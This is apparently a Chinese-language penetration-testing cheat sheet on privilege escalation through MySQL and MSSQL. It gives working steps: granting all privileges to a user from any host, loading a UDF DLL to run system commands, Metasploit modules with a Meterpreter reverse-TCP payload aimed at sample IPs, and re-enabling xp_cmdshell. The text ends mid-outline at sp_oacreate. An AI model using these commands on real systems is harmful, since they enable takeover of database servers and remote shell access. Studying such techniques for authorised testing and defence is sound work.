MYSQL
提权条件
数据库的最高权限用户的密码
secure_file_priv没进行目录限制
show variables like '%secure_file_priv%';
网站存在高权限SQL注入点
数据库的存储文件或备份文件
网站应用源码中的数据库配置文件
采用工具或脚本爆破(需解决外联问题)
账户密码获取
1.通过注入点
2.通过文件
user.MYD/user.MYI
3.网站配置文件
UDF提权
原理
UDF(Userdefined function)可翻译为用户自定义函数,
其为mysql的一个拓展接口,
可以为mysql增添一些函数。
比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。
开启外连
方法一:
直接修改表内容=>需要重启=>不建议
方法二:
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
用于授予指定用户在所有数据库和表上拥有所有权限,并且可以在任何主机上连接到MySQL服务器
'%'是通配符,代表可以从任何主机连接到MySQL服务器
查版本
select version()#查版本
select @@basedir #查安装路径
UDF导入函数的文件为dll类型,其存放的目录受版本影响如下:
1.mysql<5.2 dll导出目录c:/windows或system32
2.mysq1>=5.2 dll导出 %安装日录%/lib/plugin/xxxx.DLL
没有目录采用手工创建plugin目录
利用
//1.查看 是否有‘sys_exec’
select * from mysql.func;
//2.创建函数绑定dll
create function <函数名> returns string soname "<dll文件名>";
create function sys_eval returns string soname "KaMeVAyW.dll";
dll文件存储在MYSQL/lib/plugin
DROP FUNCTION <function_name> #删除自定义函数
//3.调用函数进行命令执行
select sys_eval("whoami");
msf
使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,
MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,需手工创建),
该dll文件中包含sys_exec()和sys_eval()两个函数,
use exploit/multi/mysql/mysql_udf_payload
set password root
set rhosts 192.168.1.15
run
启动项提权
外连 数据库最高权限 secure_file_priv=
上传木马到启动项文件。当电脑重启的时候,启动项文件被触发。实现上线
use exploit/windows/mysql/mysql_start_up
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.88.131
set username root
set password root
set AllowNoCleanup true
run
反弹shell命令
MOF提权
利用windows执行mof文件
前提
1.windows03及以下版本
2.mysql有读写c:/windows/system32/wbem/mof的权限
3.secure._fi1e_priv没进行目录限制
利用
1.上传准备好的mof文件
2.执行语句导入mof文件
3.mof实现
收尾
MSSQL
xp_cmdshell提权
条件
Xp_cmdshell默认在mssql2000中是开启的,在mssqL2005之后的版本中则默认禁止。
如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
如果被关闭了
打开命令
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC master.dbo.xp_cmdshell 'whoami'
关闭命令
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
如果被删除了
sp_oacreate提权
